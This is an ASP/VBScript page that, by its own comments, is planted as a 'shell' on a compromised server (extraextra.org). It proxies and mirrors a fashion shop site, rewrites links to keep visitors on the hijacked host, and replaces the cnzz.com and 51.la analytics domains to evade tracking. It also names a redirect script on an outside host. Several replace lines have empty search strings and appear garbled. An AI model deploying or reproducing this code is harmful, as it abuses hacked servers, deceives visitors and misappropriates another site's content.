%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
On Error Resume Next
dim jumptodomain, imagefolder, fromsite, tourl
jumptodomain = "http://www.autoairtool.com/bt/nessyfashion.js" '跳转js
fromsite = "http://www.nessyfashion.com/" '镜像的目标站
tourl ="http://www.extraextra.org/r89nq6ynj7.asp" '当前shell的地址
pageid = "fifacoins"
imagefolder = "images/"
tourl = tourl&"?" 'test
Function GetLocationURL()
Dim Url
Dim ServerPort,ServerName,ScriptName,QueryString
ServerName = Request.ServerVariables("SERVER_NAME")
ServerPort = Request.ServerVariables("SERVER_PORT")
ScriptName = Request.ServerVariables("SCRIPT_NAME")
QueryString = Request.ServerVariables("QUERY_STRING")
Url="http://"&ServerName
If ServerPort <> "80" Then Url = Url & ":" & ServerPort
Url=Url&ScriptName
If QueryString <>"" Then Url=Url&"?"& QueryString
GetLocationURL=Server.URLEncode(Url)
End Function
Function GetCode(str,regstr)
Dim Reg,serStr,Cols
Set Reg= new RegExp
Reg.IgnoreCase = True
Reg.MultiLine = True
Reg.Pattern =regstr
If Reg.test(str) Then
Set Cols = Reg.Execute(str)
GetCode=Cols(0).SubMatches(0)
Else
GetCode=""
End If
Set Cols = Nothing
Set Reg = Nothing
End Function
%>
<%
on error resume next
Function getHTTPPage(URL)
Set HTTPReq = Server.createobject("Msxml2.XMLHTTP")
HTTPReq.Open "GET", URL, False
HTTPReq.send
If HTTPReq.readyState <> 4 Then Exit Function
getHTTPPage = Bytes2bStr(HTTPReq.responseBody)
Set HTTPReq = Nothing
End Function
'根据字符串获取类别编号或者产品编号
Function getID(URL)
dim idstr '编号
dim start '开始位置
dim last
dim pstr
dim clstr
pstr="index.php?main_page=product_info&products_id="
clstr="index.php?main_page=index&cPath="
if URL<>"" then
'查找.html
last=InStr(URL,".html")
'先查找产品,如果没有再查找类别,都没有的话,返回0
start=InStr(URL,"-p-")
if start=0 then
start=InStr(URL,"-c-")
'截取两者之间的数字
idstr=mid(URL,start+3,last-start-3)
getID = clstr &idstr
else
'截取两者之间的数字
idstr=mid(URL,start+3,last-start-3)
getID = pstr &idstr
end if
end if
End Function
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = "UTF-8"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
if Request.QueryString<>"" then
str=getID(Request.QueryString)
htmls = getHTTPPage(fromsite&Request.QueryString)
htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/")
htmls = replace(htmls,"",""&chr(13)&""&str&chr(34)&">")
htmls = replace(htmls,"cnzz.com","test.com")
htmls = replace(htmls,"51.la","test.com")
htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"/themes/",""&chr(34)&fromsite&"themes/")
htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/")
htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/")
htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,""&chr(34)&"/scripts/",""&chr(34)&fromsite&"scripts/")
htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http")
htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl)
htmls = replace(htmls,""&chr(34)&"/assets/",""&chr(34)&fromsite&"assets/")
htmls = replace(htmls,"href='"&fromsite,"href='"&tourl)
htmls = replace(htmls,tourl&"wp-content",fromsite&"wp-content")
else
htmls = getHTTPPage(fromsite)
htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/")
htmls = replace(htmls,"",""&chr(13)&""&chr(34)&">")
htmls = replace(htmls,"cnzz.com","test.com")
htmls = replace(htmls,"51.la","test.com")
htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/")
htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/")
htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,""&chr(34)&"/scripts/",""&chr(34)&fromsite&"scripts/")
htmls = replace(htmls,""&chr(34)&"/themes/",""&chr(34)&fromsite&"themes/")
htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http")
htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl)
htmls = replace(htmls,"href='"&fromsite,"href='"&tourl)
htmls = replace(htmls,""&chr(34)&"/assets/",""&chr(34)&fromsite&"assets/")
htmls = replace(htmls,tourl&"wp-content",fromsite&"wp-content")
end if
response.write htmls
%>